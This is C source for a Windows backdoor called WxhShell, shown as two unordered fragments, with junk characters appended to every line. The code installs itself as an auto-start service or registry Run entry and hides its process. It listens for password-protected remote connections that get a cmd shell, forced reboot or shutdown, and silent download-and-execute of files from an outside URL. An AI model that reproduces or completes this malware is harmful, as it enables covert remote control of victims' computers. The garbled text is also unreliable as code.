    closesocket(wsh); 4a~9?}V:  
    ExitThread(0); l:kF0tj"  
    } 0ID 8L [  
    break; mk~Lkwl  
    } <<![3&p#  
  // 关机 ?G-a:'1!6  
  case 'd': { {z%%(,I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kR-5RaW  
    if(Boot(SHUTDOWN)) =M9Od7\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'W j Q  
    else { .es= w=  
    closesocket(wsh); }F R yG%  
    ExitThread(0); Icf@uQ6  
    } 9X{aU)"omQ  
    break; t UW'E  
    } }%rz"kB  
  // 获取shell P8s'e_t  
  case 's': { %lPF q-  
    CmdShell(wsh); \*w*Q(&3  
    closesocket(wsh); M+^+u 1QQ0  
    ExitThread(0); 7QRtNYo#\  
    break; {ByT,92  
  } 7[V'3  
  // 退出 Z)(C7,Xu  
  case 'x': { /T*]RO4%>]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Mqg_} 0Y  
    CloseIt(wsh); #H1yjJQ /x  
    break; cj<j *(ZZ  
    } vexQP}N0  
  // 离开 'u.`!w '|L  
  case 'q': { b_=k"d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S?=2GY  
    closesocket(wsh); uoKC+8GA  
    WSACleanup(); { lLUZM  
    exit(1); U=%S6uL\bx  
    break; fr\UX}o  
        } @,sg^KB  
  } ? B^*YCo7(  
  } 5,qfr!hN,  
&e% y|{Y  
  // 提示信息 Wm.SLr,o0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rq6(^I  
} s4}}MV3X  
  } I)O-i_}L&K  
cEw/F0  
  return; ]0dp^%  
} R m *"SG  
`h Y:F(  
// shell模块句柄 U]ouBG8/  
int CmdShell(SOCKET sock) bd<zn*H Z*  
{ Oy[t}*Ik  
STARTUPINFO si; J2H8r 'T  
ZeroMemory(&si,sizeof(si)); J(-#(kMyf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $X-,6*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fu m1w  
PROCESS_INFORMATION ProcessInfo; q@u$I'`Bs  
char cmdline[]="cmd"; h_d!G+-]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qx53,^2  
  return 0; Z!|nc.  
} 4(YKwY2_L  
poHDA=# 3  
// 自身启动模式 '&T4ryq3"  
int StartFromService(void) D9c8#k9Y.  
{ ">voi$Kzey  
typedef struct oc-7gz)  
{ hgKs[ySo,3  
  DWORD ExitStatus; JCaT^KLz  
  DWORD PebBaseAddress; "Rs^0iT7>  
  DWORD AffinityMask; K=Fcy#, f  
  DWORD BasePriority; !Nl"y'B|  
  ULONG UniqueProcessId; v?h#Ym3e<  
  ULONG InheritedFromUniqueProcessId; ?^IM2}(p  
}   PROCESS_BASIC_INFORMATION; i' |S g  
.6OE8w 1  
PROCNTQSIP NtQueryInformationProcess; 4y21v|(9  
C `knFGb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CWI(Q`((>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P RX:*0  
Nc]oA Y  
  HANDLE             hProcess; Yq) wE|k/  
  PROCESS_BASIC_INFORMATION pbi; \&AmX8" [  
6z=:x+m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =UNzjmP503  
  if(NULL == hInst ) return 0; h+ELtf  
/2?GRwU~P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w},k~5U^s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0VsrAV0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l!q i:H<=1  
"W:'cIw  
  if (!NtQueryInformationProcess) return 0; $o1G xz  
4"wuqr|o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8<?60sj  
  if(!hProcess) return 0; "PJ@Q9n__  
@ZK|k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XRj<2U 5  
lgA9p 4-  
  CloseHandle(hProcess); ='OPU5(;O  
a*S4rq@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R[Kyq|UyVr  
if(hProcess==NULL) return 0; KH2a 2  
cy/;qd+!M  
HMODULE hMod; &Cdk%@Tj]B  
char procName[255]; 1"~@UcJ  
unsigned long cbNeeded; @ou g^]a  
k9WihejS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T6- e  
YJXh|@LT  
  CloseHandle(hProcess); 7PP76$  
.wS' Xn&  
if(strstr(procName,"services")) return 1; // 以服务启动 xk.\IrB_  
}3^t,>I=,6  
  return 0; // 注册表启动 Scs \nF2  
} .#J'+LxFr  
,T jd  
// 主模块 !>;p^^e  
int StartWxhshell(LPSTR lpCmdLine) /[t]m,p$yq  
{ =Q Otag1;  
  SOCKET wsl; `2d,=.X  
BOOL val=TRUE; 1|n,s-  
  int port=0; SukRJvi  
  struct sockaddr_in door; RNp3lXf O  
-~v;'zOO  
  if(wscfg.ws_autoins) Install(); 6#.z:_  
e/F=5_Io  
port=atoi(lpCmdLine); Q6kkMLh  
+`_%U7p(  
if(port<=0) port=wscfg.ws_port; O^4:4tRpt  
Z]":xl\7  
  WSADATA data; AXz'=T}{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )5)S8~Oc  
B]InOlc47  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &FIPEe#n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (PE"_80Z  
  door.sin_family = AF_INET; pvP|.sw5G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ezCsbV;. [  
  door.sin_port = htons(port); !2tZ@ p|  
x>;! `}x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )1Os+0az  
closesocket(wsl); VL&E2^*E  
return 1; "M6:)h9jV  
} 4vW:xK  
>Ex\j?  
  if(listen(wsl,2) == INVALID_SOCKET) {  N6E H  
closesocket(wsl); q%"]}@a0  
return 1; QpAK]  
} kOx2P(UAEx  
  Wxhshell(wsl); ZVVK:d Dgt  
  WSACleanup(); ]f-< s,@  
=MRg  
return 0; W!2(Ph*  
9]Uvy|  
} t!AHTtI  
P[?~KNS:/  
// 以NT服务方式启动 W(1p0|WQ:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) #9/vIQ  
{ \zR{D}aS  
DWORD   status = 0; Elh: %dr Q  
  DWORD   specificError = 0xfffffff; QOcB ]G  
Y)g7 E"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,X)0+DNsq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \ :1MM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ShxB!/s  
  serviceStatus.dwWin32ExitCode     = 0; x'+lNlv  
  serviceStatus.dwServiceSpecificExitCode = 0; /^ hB6_'D  
  serviceStatus.dwCheckPoint       = 0; yfnqu4Cn  
  serviceStatus.dwWaitHint       = 0; Txj%o5G  
}>6=(!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,/C<GFae  
  if (hServiceStatusHandle==0) return; A+69_?B TH  
G5Y 8]N  
status = GetLastError(); mBhG"0:  
  if (status!=NO_ERROR) ="P 3TP  
{ e 9U\48  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T8JM4F  
    serviceStatus.dwCheckPoint       = 0; peY(4#  
    serviceStatus.dwWaitHint       = 0; `QC{}Oo^  
    serviceStatus.dwWin32ExitCode     = status; 3YR6@*!f/  
    serviceStatus.dwServiceSpecificExitCode = specificError; KtA0 8?B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w6'o<=  
    return; nMNAn}~*M  
  } 5tX|@Z: z  
~Wm`SIV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ts:3_4-k  
  serviceStatus.dwCheckPoint       = 0; "O<JVC{m  
  serviceStatus.dwWaitHint       = 0; 7,d^?.~S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $C##S@  
} cH.T6u_%  
|g}! F-  
// 处理NT服务事件,比如:启动、停止 zT6ng#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tV9BVsN  
{ $Ud-aRlD  
switch(fdwControl) u 3wF)B{  
{ E tWpBg  
case SERVICE_CONTROL_STOP: fJtJ2xi  
  serviceStatus.dwWin32ExitCode = 0; xO`w| k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {  KE[8n  
  serviceStatus.dwCheckPoint   = 0; muwXzN(KX  
  serviceStatus.dwWaitHint     = 0; p^Kp= z  
  { vtc} )s\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U#gHc:$  
  } l[.*X  
  return; >&f .^p  
case SERVICE_CONTROL_PAUSE: gEcVQPD@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (9CB&LZ(+E  
  break; 36s[hg  
case SERVICE_CONTROL_CONTINUE: is}o5\JEL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hY7Q$B<  
  break;  (d |  
case SERVICE_CONTROL_INTERROGATE: $h0]  
  break; OY*BVJ^  
};  L,!Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9t(B{S  
} i,NN"  
N'+d1  
// 标准应用程序主函数 L[)+J2_<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7 6~x|6)  
{ X's-i!  
VHsuC$3W  
// 获取操作系统版本 c2Ua!p(c  
OsIsNt=GetOsVer(); I1=YSi;A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <T[%03  
6A7UW7/  
  // 从命令行安装 %f\ M61Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2lDgv ug  
2mP| hp?  
  // 下载执行文件 /7De .O~H  
if(wscfg.ws_downexe) { ?d-(M' v.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dGAthbWJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); l7Y^C1hM  
} 5m&{ f>]T  
[ -bL>8  
if(!OsIsNt) { W1$B6+}Z0V  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^QTl (L  
HideProc(); ICo_O] Ke  
StartWxhshell(lpCmdLine); ={ c=8G8T  
} XL_X0(AKf  
else "5Bga jrB  
  if(StartFromService()) WM}:%T-  
  // 以服务方式启动 )zlksF  
  StartServiceCtrlDispatcher(DispatchTable); -iGt]mbJkP  
else M6vW}APH[n  
  // 普通方式启动 j)Zi4<./  
  StartWxhshell(lpCmdLine); i >Hh_q;'  
O?p.kf{b  
return 0; Mc oHV]x  
} p+@Wh3  
)p4o4 aM  
8X][TJG$  
fz31di9$  
=========================================== 8)&yjY  
 %1<No/  
x-:vpv%6y  
h ^g"FSzP  
 7=0uG  
.!RBh LH_g  
" n=MdbY/k(  
I >k3X~cG  
#include <stdio.h> 8s-RNA>7^  
#include <string.h> u{"o*udU  
#include <windows.h> EC&t+"=R  
#include <winsock2.h> {cnya*  
#include <winsvc.h> 38b%km#  
#include <urlmon.h> 2/sD#vC  
w&f8AY)#]4  
#pragma comment (lib, "Ws2_32.lib") kEf}yTy  
#pragma comment (lib, "urlmon.lib") h`Vb#5 ik  
73P=<3  
#define MAX_USER   100 // 最大客户端连接数 IhwJYPLF  
#define BUF_SOCK   200 // sock buffer }]>[FW  
#define KEY_BUFF   255 // 输入 buffer 18z{d9'F   
l <<0:~+q  
#define REBOOT     0   // 重启 QbP W_)N  
#define SHUTDOWN   1   // 关机 kX zm  
 g2L  
#define DEF_PORT   5000 // 监听端口 AT}}RE@vq  
5Qd |R  
#define REG_LEN     16   // 注册表键长度 M(HU^?B{'  
#define SVC_LEN     80   // NT服务名长度 yBE1mA:x7:  
f)H6 n l7r  
// 从dll定义API ~mOGNf?f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ji? 0;2Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -Cd4yWkO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8[Cp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %/>\`d?  
^_9 ^iL  
// wxhshell配置信息 %P0dY:L~  
struct WSCFG { v Q[{<|K  
  int ws_port;         // 监听端口 7Gnslp?[U  
  char ws_passstr[REG_LEN]; // 口令 vP^]Y.6  
  int ws_autoins;       // 安装标记, 1=yes 0=no d#Sc4xuf  
  char ws_regname[REG_LEN]; // 注册表键名 DalQ.   
  char ws_svcname[REG_LEN]; // 服务名 5u T 9ssC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5#g<L ~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fO[X<|9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `J[(Dx'y=t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G]E$U]=9r:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V.)y7B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @;qC % +^  
.3?'+KZ,  
}; +L;[-]E8  
D%(9ot{!e  
// default Wxhshell configuration *=ftg&  
struct WSCFG wscfg={DEF_PORT, `)\_  
    "xuhuanlingzhe", z@>z.d4  
    1, EJjTf:  
    "Wxhshell", ;38W41d{  
    "Wxhshell", :^0g}8$<  
            "WxhShell Service", y$r^UjJEO  
    "Wrsky Windows CmdShell Service", OMd{rH  
    "Please Input Your Password: ", Q-F'-@`(C  
  1, jV\M`=4IC  
  "http://www.wrsky.com/wxhshell.exe", Q\z3YUk  
  "Wxhshell.exe" OHssUt  
    }; fU@}]&  
~'dnrhdme  
// 消息定义模块 L Tp5T|O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <4bv=++pS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $5GvF1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E}lU?U5i  
char *msg_ws_ext="\n\rExit."; a({qc0+UK  
char *msg_ws_end="\n\rQuit."; _DMj )enH"  
char *msg_ws_boot="\n\rReboot..."; c=I!?a"  
char *msg_ws_poff="\n\rShutdown..."; |2CW!is  
char *msg_ws_down="\n\rSave to "; (6A>:_)  
 twz  
char *msg_ws_err="\n\rErr!"; l~Kn-S{  
char *msg_ws_ok="\n\rOK!"; ]w]Swt2n  
B7nMy oj  
char ExeFile[MAX_PATH]; %2^C  
int nUser = 0; 5IW^^<kiu  
HANDLE handles[MAX_USER]; "M v%M2'c  
int OsIsNt; [@kzC/Jq3  
_Ta9rDSP]  
SERVICE_STATUS       serviceStatus; [?RLvhU|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?*u)T%S  
"sz LTC]*6  
// 函数声明 XtT;UBE  
int Install(void); Bh:AY@k  
int Uninstall(void); j8?$Hk  
int DownloadFile(char *sURL, SOCKET wsh); [ w  
int Boot(int flag); MFX&+c  
void HideProc(void); \-GV8A2:k  
int GetOsVer(void); (*&6XTV(  
int Wxhshell(SOCKET wsl); 6NbIT[LvT  
void TalkWithClient(void *cs); fbB(W E+  
int CmdShell(SOCKET sock); |4-c/@D.~  
int StartFromService(void); 4en&EWUr  
int StartWxhshell(LPSTR lpCmdLine); uQ&&? j  
@_Aqk{3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^4Tr @g#]"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0MMY{@n  
zF;}b3oIo  
// 数据结构和表定义 86/CA[Y-  
SERVICE_TABLE_ENTRY DispatchTable[] = L}nj#z4g  
{ [aO"9  
{wscfg.ws_svcname, NTServiceMain}, v 8{oXzyy  
{NULL, NULL} PdMx6 Ab  
}; cy)L%`(7  
sa#=#0yg  
// 自我安装 $MKx\qx}  
int Install(void) on*?O O'  
{ V?Lf& X?  
  char svExeFile[MAX_PATH]; q]<Xx{_  
  HKEY key; ~Az20RrK)  
  strcpy(svExeFile,ExeFile); ETH`.~%  
3=t}py7M  
// 如果是win9x系统,修改注册表设为自启动  8czo#&  
if(!OsIsNt) { o|]xj'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j2qDRI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H4k`wWOk  
  RegCloseKey(key); PfnhE>[>cf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LN?T$H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !aa^kcEjnL  
  RegCloseKey(key); q*DR~Ov  
  return 0; |1g2\5Re  
    } g.DgJX&i  
  } Xe=@I*  
} 7Yk6C5C  
else { UbC)X iO  
85 "DS-+e  
// 如果是NT以上系统,安装为系统服务 dAEz hR[=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /,Ln)?eD  
if (schSCManager!=0) ]_d(YHYf  
{ 5tP0dQYd  
  SC_HANDLE schService = CreateService `U2PlCf |  
  ( /nb(F h|{T  
  schSCManager, 4ms hB  
  wscfg.ws_svcname, +;Cq>1x,  
  wscfg.ws_svcdisp, PwF}yx kI  
  SERVICE_ALL_ACCESS, N g'f u|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -jC. dz  
  SERVICE_AUTO_START, WRVKh  
  SERVICE_ERROR_NORMAL, Fj1/B0acS  
  svExeFile, '(2G qX!  
  NULL, |+!Jr_ By  
  NULL, 4DuZF -y  
  NULL, En5Bsz !  
  NULL, m|24)%Vj;=  
  NULL t~5>PS  
  ); bRNE:))r_  
  if (schService!=0) Nj#!L~^h,  
  { mWmDH74  
  CloseServiceHandle(schService); bGK&W;Myk  
  CloseServiceHandle(schSCManager); r}f -.Fo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  V}8J&(\  
  strcat(svExeFile,wscfg.ws_svcname); gjo\g P@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rZJp>Q)s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C!qW:H  
  RegCloseKey(key); H@G7oK  
  return 0; v{JCEb&wN  
    } y9W*/H{[`  
  } Oo7n_h1  
  CloseServiceHandle(schSCManager); E_ mgYW*5  
} E8%O+x}  
} NNe'5q9  
v]VIUVd  
return 1; j{p0yuZ)<  
} ?_HTOOa  
%}j/G l5  
// 自我卸载 ld9 zOq  
int Uninstall(void)  .':SD{  
{  zKT \i  
  HKEY key; CZ]+B8Pl(x  
: FxZdE  
if(!OsIsNt) { 0Fbq/63  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A\4 Gq  
  RegDeleteValue(key,wscfg.ws_regname); F+hsIsQ  
  RegCloseKey(key); _ e`b^_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q/4PX  
  RegDeleteValue(key,wscfg.ws_regname); z#,?*v  
  RegCloseKey(key); !>>$'.nb@~  
  return 0; M.|hnGX N  
  } <Xl G:nmY  
} Y ciZU  
} )Xg#x:  
else { 60`y=!?f  
Ma{|+\Q.Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t`F%$q  
if (schSCManager!=0) j5$Sm  
{ =3 -G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zqx5I~  
  if (schService!=0) w7dG=a&  
  { ia?8 Z"&lK  
  if(DeleteService(schService)!=0) { B'~.>, fg  
  CloseServiceHandle(schService); ;| \Ojuf  
  CloseServiceHandle(schSCManager); [k1N`K(M  
  return 0; [dt1%DD`M  
  } c&'T By  
  CloseServiceHandle(schService); ]^ j)4us  
  } %kVpW& ~  
  CloseServiceHandle(schSCManager); *d,SI[c%e  
} A1YIPrav(  
} z&-3H/   
@x{;a9y  
return 1; "]JS,g {m  
} )0UQy#r  
O"Xjv`j:  
// 从指定url下载文件 @Vb-BC,  
int DownloadFile(char *sURL, SOCKET wsh) M ?F({#]  
{ T_\GvSOI  
  HRESULT hr; T}4RlIZF  
char seps[]= "/"; yq;gBIiZ  
char *token; lIOLR-:4j  
char *file; h?$4\^/  
char myURL[MAX_PATH]; uV%7|/fD  
char myFILE[MAX_PATH]; m _:ib}  
D$ `yxc  
strcpy(myURL,sURL); M4')gG;  
  token=strtok(myURL,seps); !JrVh$K  
  while(token!=NULL) /u#uC(Uwl  
  { }dB01Jl '  
    file=token; s6KZV@1  
  token=strtok(NULL,seps); iCw~4KG  
  } _jnH!Mw  
zeR!Y yt!  
GetCurrentDirectory(MAX_PATH,myFILE); w/Q'T&>b/  
strcat(myFILE, "\\"); gy*N)iv%  
strcat(myFILE, file); (( t8  
  send(wsh,myFILE,strlen(myFILE),0); t@!oc"z}@  
send(wsh,"...",3,0); HYpB]<F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z?E:s.4F  
  if(hr==S_OK) ux-Fvwoh  
return 0; Kb4u)~S:  
else NCl={O9<j  
return 1; .Olq_wuH  
>eJk)qM  
} b`%/ *  
f+gyJ#R`  
// 系统电源模块 hEEbH@b  
int Boot(int flag) !xa,[$w(^  
{ <L5[#V_  
  HANDLE hToken; w3yI;P  
  TOKEN_PRIVILEGES tkp; [g<6i.<I  
0~^opNR  
  if(OsIsNt) { [nflQW6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =zI eZ7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nDaQ1  
    tkp.PrivilegeCount = 1; "3}Bv X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bCE[oi6hb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !&19%C4  
if(flag==REBOOT) { `Jz"rh-M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K4l,YR;r  
  return 0; t;E-9`N  
} Af*^u|#  
else { u^V`Ucd"R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vp-)$f&  
  return 0; @gs Kb* ,  
} sFB; /*C  
  } zf2]|]*xz  
  else { \.Q"fd?a_D  
if(flag==REBOOT) { a"hlPJlG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WO_cT26Y  
  return 0; &a-:ZA@  
} 6)DYQ^4y  
else { c< \:lhl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I_eYTy-a`1  
  return 0; b/ur!2yr  
} Ku&0bXP  
} J}<k`af  
.cle^P  
return 1; )LH nDx  
} Q0nSOTQ  
~f ){`ZJc  
// win9x进程隐藏模块 Ok O;V6`  
void HideProc(void) HtS:'~DYo  
{ 1LcQ*d  
ggX'`bK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9<-AukK m  
  if ( hKernel != NULL ) tjO||]I  
  { dkRJ^~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c+-L>dsss  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WvNX%se]3  
    FreeLibrary(hKernel); QbpRSdxy`$  
  } m",$M>  
DhkzVp_  
return; d<: VoQM6M  
} {v~&.|  
8a e]tX5$  
// 获取操作系统版本 q6/ o.j   
int GetOsVer(void) }^P(p?~  
{ -Z]?v3 9  
  OSVERSIONINFO winfo; sa*]q~ a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "S)4Cjk  
  GetVersionEx(&winfo); RQ9T<t42  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9k2HP]8=[{  
  return 1; <[[DS%(M^  
  else &~^"yo#b  
  return 0; bg[q8IBCd  
} R}Z"Y xx  
g24)GjDi  
// 客户端句柄模块 fl+ [(x<  
int Wxhshell(SOCKET wsl) C6O1ype  
{ Z]oa+W+  
  SOCKET wsh; (zye Ch  
  struct sockaddr_in client; Y.jg }oV  
  DWORD myID; jw#'f%*  
ToDN^qE+  
  while(nUser<MAX_USER) b)'Ew27  
{ bIe>j*VPh@  
  int nSize=sizeof(client); Lj({ T'f(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H6rWb6i  
  if(wsh==INVALID_SOCKET) return 1; a*74FVZo.;  
`h :&H,N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >y%$]0F1  
if(handles[nUser]==0) 0Q%'vBX\`  
  closesocket(wsh); j[) i>Qw  
else z`5+BL,|ND  
  nUser++; I+8m1 *  
  } QTK \"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >RE&>T^8  
<k}>eGn  
  return 0; D OPOzh  
} kw|bEL9!u  
<hQ@]2w$  
// 关闭 socket \L6U}ZQ2V  
void CloseIt(SOCKET wsh) uZ%b6+(  
{ 6"eGd"  
closesocket(wsh); Xp._B4g  
nUser--; $fuFx8`2W  
ExitThread(0); t3v*P6  
} pg*'2AT  
#j iQa"  
// 客户端请求句柄 tkV:kh< L~  
void TalkWithClient(void *cs) M)Tv(7  
{ $9Y2\'w<h6  
ANn {*h  
  SOCKET wsh=(SOCKET)cs; 7^as~5'&-  
  char pwd[SVC_LEN]; W"VN2  
  char cmd[KEY_BUFF]; 44RZk|U1J{  
char chr[1]; mmr>"`5.  
int i,j; ,LWM}L  
QRw3 06  
  while (nUser < MAX_USER) { E9%xSMS8@  
{Am\%v\  
if(wscfg.ws_passstr) { "op1xto  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kH1l -mxz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !bT0kP$3}  
  //ZeroMemory(pwd,KEY_BUFF); v?n`kw  
      i=0; ]n\WCU ]0  
  while(i<SVC_LEN) { Fov/?:f$  
t*e+[  
  // 设置超时 +5? s Yp\  
  fd_set FdRead; j\!zz  
  struct timeval TimeOut; dFo9O!YX[f  
  FD_ZERO(&FdRead); VXR.2C  
  FD_SET(wsh,&FdRead); ^*%p]r  
  TimeOut.tv_sec=8; aSXoYG0\  
  TimeOut.tv_usec=0; w*#TS8 \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A{mbL2AxwC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1S0Hc5vw  
 6<sB   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SECL(@0(^  
  pwd=chr[0]; (3c,;koRR  
  if(chr[0]==0xd || chr[0]==0xa) { 52wq<[#tK  
  pwd=0; dSk\J[D  
  break; r"Pj ,}$A  
  } %49@  
  i++; _6^vxlF  
    } 7b:oz3?PI  
|C7GI[P  
  // 如果是非法用户,关闭 socket X\X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =n9adq  
} 5j{o0&=_$  
TBrAYEk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cJj0`@0f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7+#^:;19`  
</:f-J%U/  
while(1) { RyIr_:&-~  
h_* =_2|}  
  ZeroMemory(cmd,KEY_BUFF); V|#B=W  
Qaq{UW  
      // 自动支持客户端 telnet标准   ;=*b:y Y  
  j=0; ) 8st  
  while(j<KEY_BUFF) { #}:VZ2Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "g>uNtt~  
  cmd[j]=chr[0]; ( F0.lDZ  
  if(chr[0]==0xa || chr[0]==0xd) { sjWhtd[fgG  
  cmd[j]=0; 2"yzrwZ:  
  break; D#W{:_f  
  } n_.2B$JD  
  j++; 8[(c'rl|)|  
    } UFouIS#L  
pb_mW;JVu  
  // 下载文件 q|=tt(}G  
  if(strstr(cmd,"http://")) { %zb7M%dC6`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &=X1kQG  
  if(DownloadFile(cmd,wsh)) QbxjfW"/+  
